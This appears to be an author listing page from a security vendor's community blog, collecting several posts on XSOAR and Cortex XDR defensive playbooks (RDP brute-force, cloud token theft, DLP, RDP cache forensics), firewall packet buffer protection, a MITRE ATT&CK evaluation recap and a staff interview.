About emgarcia

This blog was written by Ido Van Dijk.   When it comes to detecting identity-related threats, security teams need to distinguish between suspicious but benign activity and truly malicious activity. This can be challenging as identity threats and malicious insider attacks are often carried out over an extended period of time, making them harder to detect with traditional detection engines. Moreover, to effectively identify the risks associated with identity threats, organizations need a clear view of the potential risks to make informed mitigation decisions.   Because of the nature of identity attacks, a reactive approach cannot work. Security operations must be proactive against identity-related threat vectors, such as compromised accounts and malicious insiders. This means leveraging the power of AI and automation for advanced detection capabilities that enable organizations to quickly identify, investigate, and ultimately respond to identity threats.   With the new Cortex XDR Identity Threat Detection and Response (ITDR) module integration built into our existing XSOAR playbooks, you will gain the ability to enrich your SOC incident data with valuable insights into user and host identity threats. This means that you can not only detect incidents, but also understand the nuances of the risks associated with each user and host, giving you a deeper understanding of the threat landscape.   These new capabilities have been added to the Cortex XDR content pack, integrating the new Cortex XDR ITDR enhancements into the various stages of incident investigation, with alert playbooks, as well as general XDR incident playbooks.   Let's take a closer look at how these ITDR enhancements can help your security team in the case of an RDP brute-force incident. Firstly, the alert now includes identity threat data that is associated with users and hosts:   Fig 1: Identity-rich threat data Upon examining the various detectors, analysts can see that the user "administrator" received a high risk level due to multiple reasons. One of the reasons was that "Regsvr32" may have executed code from an untrusted source, among other alerts.   The playbook responsible for setting a verdict for RDP brute-force alerts checks data from several sources, including recent activity logs of the user, the reputation of the IP from which the attack originated, and now also verifies if the user or host are risky. Since both were found to be risky in this case, the playbook will treat this alert as malicious activity.   Fig 2: Set verdict tasks within playbook By configuring the Critical Element input of the playbook, the alert can also now be automatically escalated based on the risk level associated with the host and user identities. As a result, communications can be set automatically to the impacted user to verify the activity mentioned. Upon receiving a reply that the user did not authorize it, the analyst can then direct the playbook to proceed with the remediation.   Fig 3: User communications tasks in playbook After blocking the user temporarily, the playbook provides analysts with the recommendation to isolate the endpoint due to its new identity risk.   Fig 4: Endpoint isolation recommendation within playbook After handling the specific alert in the alert playbooks, the work plan then proceeds to the XDR Incident Handling playbook. A new severity is calculated for the overall incident based on all the information from the incident and the specific alerts, including information based on the identity threats that were identified:   Fig 5: Incident level severity calculation As the safety of both the user and host are of utmost importance, this incident was assigned a high severity rating. To enhance transparency and facilitate better decision-making, XSOAR has a new tab in the incident layout to provide detailed information on the risky assets involved in the incident.   Fig 6: New layout window tab detailing risky assets involved in incident The newly added data at the alert level has led to the integration of various enhancements in alert-specific playbooks. Additionally, the improvements made at the XDR Incident Handling playbook level apply across all XDR incidents, regardless of the types of alerts they contain. This includes the enhancements to the default XDR incident layout window as shown above.   These updates are now available in XSOAR as part of the Cortex XDR content pack available via our Cortex Marketplace.   Note: These enhancements will also be made available soon in Cortex XSIAM as part of the Core - Investigation and Response content pack. ... View more

  To protect your firewall and network against single-source denial of service (DoS) attacks that can wreak havoc on your packet buffer and disrupt your legitimate traffic, Palo Alto Networks firewalls have a feature called Packet Buffer Protection (PBP).   This feature was introduced way back in PAN-OS 8.0 but was disabled by default at the time. Starting from PAN-OS 10.0, PBP is enabled by default, globally and on each zone. As a best practice make sure you've got PBP activated both globally and within each zone. It serves as an extra layer of protection against DoS attacks, aggressive sessions, and unruly sources that could otherwise wreak havoc on your firewall's buffers. It spots those troublesome sessions, and uses Random Early Drop (RED) as the first line of defense. And it doesn't stop there – if the abuse persists, it's quick to take action, either by booting out the problematic session or giving the unruly IP address a timeout. When your firewall notices a flurry of small sessions or rapid session creation, especially from a particular IP address, it knows when it's time to slam the gate shut on that address.   In short, it's not just a feature – it's your firewall's bodyguard. Keep PBP turned on, and you'll keep your network safe and sound.   PBP works with thresholds so it's recommended to start by establishing baseline measurements of the firewall's packet buffer usage. This will help you recognize any significant spikes in buffer usage, making it clear that the only time you should see such spikes is during an actual attack.  You can also start with the default threshold values and adjust as necessary.   You can find this option on the Device tab > Setup > Session > Session Settings     Alternatively, you have the option to activate Latency Based Activation, which responds to CPU processing latency, giving you a set of different thresholds to configure:       It's important to note that PBP isn't part of the Zone Protection profile or a DoS Protection profile or policy rule. Instead, it operates autonomously, pinpointing troublesome traffic by monitoring buffer utilization, the very resource it's designed to protect. You have the flexibility to manually set the threshold at which RED kicks in to start dropping packets for the offending session. In many cases, RED can do a fantastic job of keeping your buffers in good shape by only dropping specific problematic traffic. When active sessions threaten to deplete the buffer, the firewall's first response is typically to discard the session, rather than blocking the host. However, in the case of non-existing sessions, blocking becomes the sole option.   The cherry on top is that configuring PBP is much simpler compared to setting up DoS policies as there are fewer threshold values to manage. Additionally, you can fine-tune the hold-down timer and specify the duration for which a host should be blocked, giving you added control and flexibility in managing your firewall's security.   For more information on how to Enable Packet Buffer Protection, please review the following article: Packet Buffer Protection   Feel free to share your questions, comments and ideas in the section below.   Thank you for taking time to read this blog. Don't forget to hit the Like (thumbs up) button and to Subscribe to the LIVEcommunity Blog area.   Kiwi out! ... View more

  This blog was written by Ben Melamed.     Introduction: Remote Desktop Protocol (RDP) Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software, while the other computer must run RDP server software. Furthermore, it provides remote display and input capabilities over network connections for Windows-based applications running on a server.   Why Should We Pay Close Attention to RDP Forensics? Given the widespread use of RDP, especially in corporate environments, the ability to perform forensic analysis on the RDP bitmap cache can be invaluable in investigating various cyberattacks. These may range from insider threats (such as employee data theft) to external attacks (such as hackers using RDP sessions to gain unauthorized access to sensitive data).   How Adversaries Use RDP in Their Attacks Cortex Xpanse’s 2022 Attack Surface Threat Report found RDP to be the most common security issue attackers can find on the global enterprise attack surface. Remote Desktop Protocol was the most common security issue among the global enterprises we studied, representing 32% of overall security issues (see Figure 1). RDP’s top spot is particularly worrisome because it’s a top gateway for ransomware.   Furthermore, when focusing on the Unit 42 Incident Response report, the report states that brute-force credential attacks are responsible for 20% of the initial attack vectors in cases Unit 42 investigated, primarily using RDP.   Figure 1: Top security issues based on prevalence As mentioned, attackers often conduct brute force attacks to crack weak or reused credentials or exploit unpatched vulnerabilities to gain unauthorized RDP access. Once inside, they can move laterally across the network, escalate privileges, deploy ransomware, exfiltrate data, or establish persistent backdoors. RDP's legitimate use for remote access makes it an ideal camouflage, allowing attackers to blend their activities with normal network traffic, making detection considerably more challenging.   The Potential of RDP Bitmap Cache Forensics When interacting with the remote server's desktop, all graphical changes must appear on the screen and therefore be transmitted by the server to the client, which, as you can imagine, can generate heavy network traffic.   RDP has a bitmap caching feature that, when enabled, allows the session to use data already in the local cache files to provide a smoother user experience and reduce network bandwidth.   This process involves storing frequently used images (bitmaps) from the remote host locally on the client machine. This way, the need to retransmit the same images over the network, which can be bandwidth-consuming and slow, is minimized.     The bitmap cache consists of several cache entries. Each entry stores bitmap data and metadata such as the key, dimensions, and color depth.   What's genuinely intriguing for digital forensics is that this cache persists on the client machine, even after the RDP session has been terminated.   The successful exploitation of the RDP cache files will make it possible to recover tiles (Figure 2) of what the user saw during the RDP session and, by putting the tiles back together, potentially discover new elements in an investigation.   Figure 2     This is similar to recovering puzzle pieces, which, when correctly assembled, can recreate the picture of a user's actions during an RDP session. (Figure 3)   Figure 3   The RDP Bitmap Cache Hunting Pack Walkthrough For organizations seeking to tighten their cybersecurity, the RDP Cache Hunting pack offers an advanced solution to detect and analyze potential threats in RDP connections. This pack can gather RDP bitmap cache files via different XDR solutions or Remote PowerShell. These files are then processed into a more comprehensible format — tiles are extracted and collaged, and text is extracted from the images.   An Automated Collection and Forensic Analysis playbook is also part of the RDP Cache Hunting pack to make this process even more efficient. This playbook simplifies the extraction and analysis process into four steps: Collection of cache files, conversion of these files into images, extraction of readable text from these images, creation of indicators of compromise (IOCs) from the text, and finally, enrichment of these IOCs with additional context for enhanced threat analysis.   The pack utilizes BMC-Tools by ANSI, a powerful utility designed specifically for extracting and processing RDP cache files. It parses Windows RDP cache files (.BIN) into tiles and generates a collage.   We thought about leveraging the collage and making the entire analysis process more efficient. We have decided to extract all the visible text from the collage created and try to detect suspicious activity based on the extracted text.   To do so, we used the tesseract-ocr OCR solution, which allowed us to go through all the available text combined from the tiles.   The information extracted is subsequently assessed for potential IOCs. Two mechanisms are used for this purpose: first, the MITRE ATT&CK Software list, a globally-accessible knowledge base of adversary tactics and techniques, is used in the String Similarity script, which measures how closely the extracted text matches the MITRE ATT&CK Software list, outputting a similarity ratio. In parallel, Mandiant Stringsifter, a machine learning tool, ranks these strings based on the likelihood of their maliciousness. The RDP Cache Hunting pack, therefore, provides the following:   A systematic and robust approach to detecting potential internal RDP sessions on predetermined hosts. Processing the collages for further analysis. Flagging any suspicious activity.       Users are encouraged to modify the pack and the playbook to meet their unique organizational needs and legal requirements.   Final Notes As the use of RDP by attackers continues to rise, so does the importance of RDP bitmap cache forensics. The ability to extract and interpret data from these caches can offer significant insights into user activities during RDP sessions, aiding investigations of cybercrimes.   Organizations should adopt advanced forensics capabilities to get a brighter image of what was done by the attacker and how they can counter his activity.   For more information on the RDP Bitmap Cache Hunting pack and other XSOAR packs and playbooks, visit our Cortex XSOAR Developer Docs reference page.   Don’t have Cortex XSOAR? Download our free Community Edition today to test out this playbook and hundreds more automations for common use cases you deal with daily in your security operations or SOC.   ... View more

  This blog was written by Ben Melamed.   The Rising Threat of Cloud Token Theft Cloud computing's scalability, adaptability, and cost-efficiency have seen businesses increasingly utilize these services. Nevertheless, with the growth of cloud services come new security risks. Among these issues, cloud token theft is gaining prominence. This article elaborates on cloud token theft, its risks, and how organizations can detect and counter these security threats.   Understanding Cloud Token Theft Cloud token theft is the unauthorized access and misuse of access tokens of the victim’s cloud infrastructure. These tokens are vital for authenticating and authorizing users, applications, and services to access cloud resources. If compromised, these tokens serve as digital passes, giving malicious actors significant control.   Potential Risks of Cloud Token Theft When malevolent actors take possession of cloud access tokens, they can impersonate legitimate users or services, leading to severe implications:   Unauthorized Access: Malicious actors can bypass authentication procedures, gaining unauthorized entry to sensitive cloud resources such as databases, storage units, or virtual machines. Data Breaches: Compromised access tokens can provide attackers access to sensitive data, including customer information, intellectual property, or financial records. Misuse of Infrastructure: Attackers can exploit compromised tokens to initiate further attacks within the cloud environment, including launching malicious instances or the execution of unauthorized operations.   Strategies to Mitigate Cloud Token Theft Risks To tackle the growing risks linked to cloud token theft and limit its effects, organizations should consider implementing the following safety measures:   Multi-Factor Authentication (MFA): Implement MFA across all users and applications interacting with cloud resources. Combining diverse authentication mechanisms like passwords, biometric data, or tokens can substantially curtail the potential of unauthorized intrusion. Token Rotation: Institute a regular token rotation protocol, guaranteeing that access tokens have a restricted lifespan. By consistently rotating tokens, cybercriminals' likelihood of misusing stolen or compromised tokens can be minimized. Least Privilege Principle: Uphold the least privilege principle by allotting users and services only the requisite permissions for their respective tasks. This practice can help confine the possible repercussions of token theft. Monitoring and Anomaly Detection: Establish monitoring and anomaly detection frameworks to pinpoint unusual token activities or anomalous behavior within the cloud environment. Employ security information and event management (SIEM) such as Cortex XSIAM tools or inherent cloud security solutions such as Prisma Cloud to enhance visibility.   Cloud Token Theft Response Playbook The Cloud Token Theft Response playbook (part of the Cloud Incident Response content pack) provides an automated flow for collecting, analyzing, and responding to anomalous token usage activity.   The playbook lays out a structured response and mitigation strategy for dealing with alerts involving the theft of cloud tokens. Its integration with the prominent cloud platforms, AWS, GCP, and Azure, allows organizations to effectively manage security incidents involving their cloud infrastructure.   The playbook begins with a cloud enrichment phase, gathering comprehensive information about the involved resources, such as identities, and IPs. Subsequently, it applies a Verdict Decision Tree, which determines the appropriate verdict based on the findings from the investigation. This is crucial in identifying whether the alert is a false positive or indicative of a genuine security issue.   Early containment measures are immediately implemented through the Cloud Response - Generic playbook to minimize any potential impact.   It then executes the Cloud Persistence Threat Hunting playbook, identifying any cloud persistence techniques that may indicate an ongoing or more sophisticated threat.   The playbook supports this process by conducting specialized hunting for persistence activity in the cloud. It executes hunting queries for each cloud provider related to identity and access management (IAM), compute resources, and compute functions. If relevant events are detected, indicators are extracted using the ExtractIndicators-CloudLogging script, which can process AWS CloudTrail or GCP logging events.   Following threat hunting, the playbook then enriches and responds to these findings, providing valuable information for further analysis and action by the analyst.   One of the main building blocks of the playbook is the Verdict Decision playbook. The playbook is based on a predefined logic that correlates XDR alerts and XSOAR enrichment based on the following decision tree: (figure 1)   Figure 1: Cloud Token Theft - Set Verdict playbook   If you want to dive deeper into how the playbook works and how to set it up, check out the official documentation.   Final Notes As cloud technologies evolve, the threat of cloud token theft grows, posing significant business risks. Companies can efficiently safeguard their digital assets by implementing preventive solid measures and leveraging tools like the Cloud Token Theft Response playbook. Keep alert, be proactive, and ensure your cloud environment's security is always prioritized. Your cloud tokens are not just keys to your digital space but to your business's future.   For more information on the Cloud Token Theft Response playbook and other XSOAR packs and playbooks, visit our Cortex XSOAR Developer Docs reference page.   To learn more about cloud token theft attacks, read our other article, Compromised Cloud Compute Credentials: Case Studies From the Wild.   Join our Hands-on Workshops to get some hands-on experience and see this playbook, as well as others in action!   ... View more

  This blog was written by Tomer Haimof.   In today's digital landscape, data loss prevention (DLP) solutions have become a critical component for keeping sensitive data secure in an organization. With an increasing amount of data being generated and shared, the need for a DLP solution has become more pressing than ever.   A DLP solution must not only respond quickly to prevent data breaches but also efficiently handle user exemption requests to quickly identify and allow legitimate access to sensitive data.   Cortex XSOAR automates and streamlines the exemption request process with the DLP Incident Feedback Loop playbook. This playbook speeds up exemption request management in Enterprise DLP incidents, enabling organizations to enrich user details, seek approvals, and communicate outcomes effectively. By doing so, it ensures that robust data security measures are maintained with quicker response times.   What’s New?   The DLP Incident Feedback Loop playbook includes significant enhancements to empower organizations to make informed decisions, comply with policies, and keep their data secure, including:   A more comprehensive user profile view with detailed user data from Active Directory. A streamlined exemption request approval/rejection process. Flexible communication methods, allowing security teams to customize their end user communications. This includes integrations with collaboration platforms like Microsoft Teams and Slack, as well as the newly added email communication channel.   The following are the DLP Incident Feedback Loop playbook sections.   Enrichment Feedback from the user Request approval     User updates     Example of a Slack communication     Example of an email approval request   The incident type now includes an updated layout that clearly and concisely displays extracted indicators, incident details, and a new section for enriched user details.   This improved layout provides a comprehensive view of the incident, enabling analysts to implement required security measures and make informed decisions regarding exemption requests.   The incident layout     Data loss prevention plays a crucial role in protecting sensitive information, complying with regulations, and mitigating risks. Leveraging the Cortex XSOAR DLP Incident Feedback Loop playbook enables organizations to optimize their response to exemption requests, enrich user details, streamline approvals, and enhance communication channels. With Enterprise DLP and Cortex XSOAR, Palo Alto Networks ensures a strong data security posture for your organization.   We have hundreds of other content packs to help you automate and streamline incident response. Check out the Cortex Marketplace. Don’t have Cortex XSOAR, try it out for free here.   ... View more

  Welcome to our September 2023 Rewind, where we review some of LIVEcommunity’s biggest headlines from the past month!   In September, we introduced LIVEcommunity's new search features, shared best practices for Palo Alto Networks’ devices, revealed new features for Prisma 4.2, shared how and why Accepted Solutions are an integral part of LIVEcommunity and much more! Read on to see community's September 2023 highlights.    Best Practices for Palo Alto Network Devices At Palo Alto Networks we're dedicated to crafting products and services that empower you to spot and stop cyberattacks effectively. That's where our best practice documentation comes into play!   Whether you're on the hunt for the nitty-gritty on securing admin access for your next-gen firewalls and Panorama, crafting a top-notch security policy that lets you safely navigate the internet gateway and data center, or want to know the ins and outs of rolling out a decryption policy to keep threats at bay, we've got your back with our best practice documentation.   How and Why to Accept Solutions Did you know that you can help your fellow community members by accepting solutions when a reply answers your question? Accepted solutions are a super-helpful resource in the community, and we want to make sure our members understand how this feature works! Accepted solutions help build knowledge in LIVEcommunity.   What's the Scoop on Cyberpedia? Today, the digital age has revolutionized learning. For security professionals adapting to the ever-changing world of security concepts, the internet is their ally.   These days, we turn to online courses and certifications for structured learning. Webinars and virtual conferences keep cybersecurity and IT specialists up-to-date and connected to current changes, while cybersecurity literature, like books and blogs, offers in-depth insights.   Unit 42 Attack Surface Threat Research: Constant Change in Cloud In our survey of over 250 organizations, we found that 80% of security exposures are found in cloud environments and 20% of cloud services change every month. Trying to get a handle on this sort of volatility is not easy, but it is vitally important.   Our 2023 Unit 42 Attack Surface Threat Report explores the global attack surface landscape based on observable data on exposures that are publicly accessible over the internet. It also offers recommendations on how organizations should approach active attack surface management.   New Features Introduced in Prisma Access 4.2 Palo Alto Networks continues to push boundaries in cloud-delivered security with the introduction of Prisma Access 4.2. This impressive release stands as the industry's sole ZTNA 2.0 security solution presented within a seamless, all-in-one package. In this fresh update, we're once again strengthening our cutting-edge ZTNA 2.0 security with an array of exciting new features and improvements.   New Features for LIVEcommunity Search LIVEcommunity is thrilled to introduce you to two new features that enhance your search experience. Whether you're on the hunt for quick solutions or going down the rabbit hole, our latest search upgrades have got you covered. Click on the link above to learn more about Smart Snippets and Featured Results.   LIVEcommunity Member Testimonial: Charles Buege Charles Buege is the Fuel User Group Chicago Chapter Leader. In his LIVEcommunity interview video, Charles spoke about the benefits of being involved with the Fuel User Group and the Palo Alto Networks LIVEcommunity. Through the Fuel User Group, Buege has grown professionally, building relationships with colleagues and contacts around the world, while accessing resources and information that would not be available otherwise. Read on to learn more about Charles Buege..   VM-Series Sizing Guide for Google Cloud This article describes the best practices for sizing Palo Alto Networks' VM-Series Next Generation Firewalls deployed on Google Cloud. This document is intended for network administrators, solution architects, and security professionals who are familiar with Compute Engine, Load Balancing and Virtual Private Cloud (VPC) networking on Google Cloud.   Get Started with VM-Series with AWS Gateway Load Balancer - A PoC Playbook Guide  This article is intended for anyone who wishes to get some hands-on experience with the VM-Series appliance on AWS, an understanding of how automation can be leveraged to easily deploy and bootstrap the firewalls and also how the integration of the Gateway Load Balancer, Transit Gateway and the VM-Series firewall works.   XSOAR 8 Migration - Everything You Need to Know!  Getting prepared for an XSOAR 8 migration can be challenging! The Cortex XSOAR team worked hard to cover everything you need to know to plan ahead for the migration. By reviewing the XSOAR 8 migration guide, you'll gain invaluable insights into migration prerequisites, features information, and best practices that will help you navigate the upcoming changes and improvements in XSOAR 8, ensuring you're well-prepared for the migration ahead.   Step-by-Step Lab: Prisma Access ZTNA 1 and 2 Arm With Azure In today's digital landscape, security and connectivity are paramount. This Prisma Access ZTNA Step-by-Step LAB with Azure is a practical guide designed to simplify the process of implementing Zero Trust Network Access (ZTNA) using Palo Alto Networks' Prisma Access with Microsoft Azure. This guide will walk you through the essential steps to enhance your network security and provide secure remote access in an easy-to-follow manner.   Cortex XSOAR - Embrace or Tame the Chaos? Whether you’re just starting your Security Automation journey or are a finely tuned Security Professional who is well down the path; know that Cortex XSOAR offers a myriad of use cases to help you tame the chaos!   New PANCast Episodes Are Out!   PANCast is a Palo Alto Networks podcast that provides actionable insights from cybersecurity experts to customers, helping them ensure each day is more secure than the one before it.   Visit our PANCast homepage to learn more and watch our previous podcasts in this series.   PANCast™ Episode 26: What Should You Know About Installing Defenders?   PANCast™ Episode 27: The Importance of Making Use of Defender Logs   ... View more

  This blog written by Peter Havens   The 2023 MITRE Engenuity ATT&CK Evaluation results are in, and only Cortex XDR delivers 100% protection and 100% analytic coverage with zero configuration changes and zero delayed detections.   The results of the fifth round of the MITRE Engenuity ATT&CK Evaluations have been released, and while every vendor is claiming 100% of everything, the truth is in the details, and the data does not lie. This year, Cortex is the only vendor with 100% prevention and analytic detection.   An illustration directly from the MITRE Engenuity ATT&CK Evaluation website shows the 2023 Turla evaluation results for the first detection test.   In the ever-evolving landscape of cybersecurity, staying one step ahead has never been more critical. Adversaries continuously seek new and sophisticated ways to breach defenses. It's a high-stakes game where the rules constantly change, and the consequences of falling behind can be catastrophic.   This is where MITRE Engenuity enters the scene with their Enterprise ATT&CK Evaluations, offering a beacon of clarity amidst the chaos. These evaluations have become an invaluable resource for CISOs, security professionals and anyone tasked with safeguarding an organization's digital assets. They provide a litmus test or a performance review of how the industry’s endpoint security solutions hold up in the face of the most resourceful cyber saboteurs.   But, what exactly are the MITRE Engenuity ATT&CK evaluations, and why should you care about the results? These annual evaluations emulate the tactics, techniques and procedures (TTPs) employed by some of our time's most active and notorious threat groups. The MITRE Engenuity red team invites cybersecurity solution providers to defend against carefully choreographed attacks (in both detect-only and prevent modes) to provide insight into three capabilities:   Visibility – what can a solution see Detection – what actions can a solution accurately identify as malicious Protection – what malicious actions can a solution prevent   A staggering number of vendors participate in these evaluations – 29 this year – which is a tribute to their value and reflects the painstaking efforts that MITRE Engenuity pours into the assessments to ensure they provide a challenging and provocative engagement.   Round 5 (Turla)   This year marks the fifth annual evaluation, and the MITRE Engenuity red team focused on emulating the methods of Turla, a threat group our Unit 42 threat researchers have studied extensively. Turla is an extraordinarily well-funded and sophisticated Russian-based threat group that has infected victims in over 45 countries. They have targeted government agencies, military groups, diplomatic missions, as well as research and media organizations. Turla’s infamy stems from its covert exfiltration tactics, including water holing of government websites, custom rootkits, elaborate command-and-control network infrastructure and deception tactics. In speaking with defenders who participated, it is clear that MITRE Engenuity took a great leap forward in the sophistication of their attack methods this year.   The blue team deployed the Cortex XDR Pro for Endpoint agent on both Windows and Linux endpoints. No additional solutions were deployed, and Cortex XDR was configured with default settings as it would be out of the box, with the only changes enabling the quarantining of malicious files and, for Linux, enabling the option to treat grayware as malware.   Key Metrics and Evaluation Criteria   This year's evaluation was broken down into two detection-only scenarios, named Carbon and Snake, corresponding to notable tools created and used by Turla. A protection phase followed this, mirroring the techniques in the detection tests, with enough entropy injected not to look identical to the detection test. The two detection scenarios each had 10 steps, consisting of multiple substeps that map to actual techniques in the MITRE ATT&CK framework. Combined, there were 143 substeps that each vendor had the opportunity to see. For each of these substeps, the MITRE Engenuity team recorded whether each solution had a detection for the action taken.   Each of these detections was categorized based on the detection quality observed.   MITRE Engenuity Detection Categories:   Not Applicable – Participants didn’t have visibility on the system under test. (This would be the case if they opted out of the Linux evaluation.) None – There was no detection. (No telemetry associated with the malicious activity) Telemetry – Minimally processed data collected by the capability showing that event(s) occurred. (Detections of this type are usually basic logging of activity.) General – The abnormal event was detected. However, an ATT&CK tactic (or equivalent context) was not specified. (Detections of this type leave the security analyst to investigate and determine what action was taken and why.) Tactic – An ATT&CK tactic (or equivalent context) of the abnormal event was specified. (Detections of this type assert why an action occurred, but again leave the security analyst to investigate what action or technique was taken.) Technique – An ATT&CK technique (or equivalent context) of the abnormal event was specified. (Detections of this caliber provide the context and details required to answer why an adversary performed an action and precisely what action they used to achieve their objective.)       The MITRE Engenuity effectively identifies two types of coverage: Telemetry Coverage and “Analytic Coverage.” Telemetry Coverage is defined as the number of substeps where a solution produces a Telemetry detection as its highest value detection. Analytic Coverage is defined as the number of substeps that contain either a General, Tactic or Technique detection.   It is also worth noting that all detections might have one of two detection modifiers:   Configuration Changes – A configuration change modifier is noted if the detection observed was achieved on the fourth day of testing, a day when vendors are given a second chance to detect malicious activity they missed in the initial test. Delayed Detections – A delayed detection modifier is noted if the detection is not observed in a timely manner, meaning a significant delay occurs when the action is taken, and when the detection is observed in the vendor’s console.   For the Protections scenario, there were 129 substeps organized into 13 major steps. In the case of these substeps. Each Protection substep was either blocked or not blocked and recorded as one of the following:   Protected – The malicious activity was blocked. Not Applicable (Protected) – This occurred when a prior substep in the prevention step was blocked, and thus subsequent substeps could not be executed. None – This means the malicious activity was not blocked.   How Did Cortex XDR Perform?   The purpose of these evaluations is to provide insight into three capabilities:   Visibility – what can a solution see Detection – what actions can a solution accurately identify as malicious Protection – what malicious actions can a solution prevent   Cortex XDR stands alone in providing 100% Protection while delivering 100% Visibility and 100% Analytic Coverage (detections) with zero configuration changes or delayed detections.   In addition, the quality of our detections is unparalleled, with 142 of 143 detections as Technique level detections – the highest-quality detection possible. The one other detection was recognized as a Tactic level detection. Every one of the 129 substeps in the Protection evaluation was blocked. All of this was accomplished with zero “configuration changes” and zero “delayed detections.” In fact, if we exclude detections resulting from a configuration change, Cortex XDR was the only vendor with no missed detections (detection type, None). In other words, Cortex XDR was the only one with 100% visibility.   The Palo Alto Networks MITRE Engenuity ATT&CK Evaluations Dashboard. Snapshot showing results from the 2023 Turla evaluation.   The results from this year’s evaluation serve to reflect the tremendous amount of effort that Palo Alto Networks continues to pour into both adversarial research and engineering in endpoint security, putting that knowledge to work to help our customers remain safe in the face of an increasingly hostile cyber world.   A Note about 100%   If you’ve been following the ATT&CK evaluations for some time, 100% might seem commonplace to you. But don't get confused; when other solutions claim to have achieved 100% in this year's evaluation, they have at least one detection and/or prevention in all the major steps. Only Cortex provided these detections for every one of the individual malicious actions that were taken – the substeps.   100% detection and prevention is the bar we should all strive for. As Forrester’s Allie Mellen pointed out after last year’s evaluation, “detecting an attack inspired by a known threat actor should be the floor for what security products can do, not the ceiling.” We completely agree, and Cortex XDR is setting the bar.   That said, Allie also rightly pointed out that perhaps 100% detection isn’t necessarily a good thing as solutions that “are detecting on every technique, they have the potential to be noisy, have a high rate of false positives, and provide excessive alerting.” We also share this perspective, and this is why we heavily leverage machine learning to understand which activities represent normal operations and which are potentially malicious actions. In the case of Cortex XDR, this is only strengthened by the fact that we integrate additional telemetry from many other key data sources that critical context clues to help determine where you should focus your investigations.   Exploring the ATT&CK Evaluation Results:   Hats off to the MITRE Engenuity, as this year was significantly more challenging than years past. In addition, we are thrilled with the improvements they have made to help defenders make informed decisions. The ATT&CK evaluation results, hosted on MITRE Engenuity’s site, now allow you to compare the results for three vendors side by side. You can choose each of the three evaluation scenarios and up to three vendors. By default, the results are shown with delayed detections and those resulting from configuration changes included. Still, you can also view the results with detections with those modifiers removed.   From the MITRE Engenuity ATT&CK Evaluation website, the protection evaluation results. Only Cortex XDR had 100% prevention. We’ve heard for many years that it is difficult to understand the ATT&CK evaluation results as no data visualization tool allows you to view the results across all vendors. To aid in that effort, we’ve created a tool to help you explore this year’s results, as well as all previous years. With this tool, you can select the vendors you are interested in and the particular adversaries that have been emulated. All of the resulting charts are built directly from the JSON files provided by MITRE Engenuity for each participating vendor. Explore the ATT&CK Evaluation results for yourself and let the data reveal the best choice for defending your business.   The Palo Alto Networks MITRE Engenuity ATT&CK Evaluations Dashboard. A snapshot showing results from all 5 years of evaluations, plotting both Technique Level Detections and Substeps Blocked.   ... View more

Happy National IT Professionals Day 2023!   Today, we're celebrating National IT Professionals Day to show our appreciation for those who work tirelessly in Information Technology! National IT Professionals Day was started over 20 years ago to honor the hardworking professionals who work endlessly to keep our systems running. Through their contributions, from curating software solutions, to maintaining hardware systems, to troubleshooting all sorts of complex network issues, IT professionals are crucial to any company across the globe. Thank you for all that you do and continue to do!   To celebrate National IT Professionals Day, we interviewed Palo Alto Networks' Hanford Choy on his role within IT. Read on to learn more..   Welcome, Hanford! Can you give us a brief bio on yourself, your position and career thus far?   HC: I’m a Palo Alto Networks Product Manager for Customer Support Portal, which is an exciting role as we transition CSP from an under-appreciated SaaS tool into a competitive weapon for PANW.   I spent the first half of my career as an enterprise software developer, building large SaaS apps, fault tolerant libraries for high availability markets, OS and interrupt service provider code for IoT devices, and designing the architecture for the world’s first connected DLNA media players for car and home.  I also lay claim to being New Zealand’s father of Mobility, as I moved to NZ to architect the country’s first Mobility solution for public transportation – IoS/Android apps with SaaS server – targeted for NZ tourists and deployed in Auckland and Queenstown.   Q: What made you decide to get into the IT field?   HC: I was an unhappy, under enthused undergrad at Cal Poly, majoring in Electrical Engineering, when I took one introductory computer science class, learning how to write software. I was instantly hooked. With techniques such as functional decomposition and stepwise refinement, I learned to build big projects.    While building each software component, in my mind’s eye, I found I could literally see blocks of code being added to a house under construction - block by block. This metaphor also helped me understand the need to build a solid foundation to support useful aesthetically pleasing walls and windows – all simply by typing on a keyboard.   This excitement, and later when I began to build complex products as a Product Manager, remains with me today. My heart rate beats a little faster when I sit at my keyboard to write code, talk to customers before writing a Product Requirements Document, developing UI mocks, or seeing the glee in customers’ eyes when I introduce them to software my team built.     Surprisingly, my heart rate also beats a little faster when I became an engineering manager, mentoring my team to build software that provides solid value and benefits. I love working with software engineers, who are more often than not, among the smartest people I know. I love getting them excited about helping customers.   I shudder to think what my decades-long career would have been like if it were not for that first programming class.   Q: Describe two things that you enjoy about working in IT.   HC: I especially enjoy writing Product Requirements Documents, to solve customers’ pain points from scratch. Being in the business of innovation, I start with a blank piece of digital paper, and begin to walk customers’ journeys to experience what they experience.   Using the same techniques I learned from building complex software systems, I build each PRD block by block. Designing UI mocks helps me understand the customer experience and their pain points.   Stepwise refinement teaches me if I run into a wall, I can back out, attack a problem differently, which may, or may not, lead to a solution and possibly a different architecture. Without these tools, though, I can’t fathom how I would be able to build enterprise-class solutions to remove customers’ pain points.   I also love talking to customers, which is more akin to a crime scene investigator than a product management interview. Customers often don’t understand why they get frustrated, or how to translate their frustration into working software. Root cause is often hidden behind layers of unintended obfuscation by prior product managers and developers, or more likely, teams trying to build software too quickly. Asking “five whys” questions is a good go-to tool, and a heavy dose of empathy never hurts. I love my job!   Q: What’s a misconception that people often have about IT professionals?   HC: A common misconception is IT professionals are one-dimensional nerds. We’re as diverse as any cohort. One of my colleagues races motorcycles competitively. Others are amazing musicians. Another is an imaginative and innovative foodie who can whip up fine cuisine to rival high-end restaurants. I love martial arts, competed as a black belt in one of the first tournaments to combine strikes and grappling before MMA. I’m also learning from my foodie friend to up my Food Network culinary skills.     Q: What do you enjoy doing in your spare time?   HC: Golf. Like martial arts, the more I’m relaxed, the better my golf, which belies the advantage I get if I’m able to somehow generate the force to hit 300 yard drives. Just a little stress, which might come simply from being in a tournament, can cause havoc in my golf swing. The mental discipline to lower my golf handicap is an exciting endeavor.     Thank you to Hanford Choy for a glimpse into his IT world and a big thanks to all the hardworking IT individuals and teams who are essential for keeping their employees, partners and customers around the world running smoothly!  ... View more

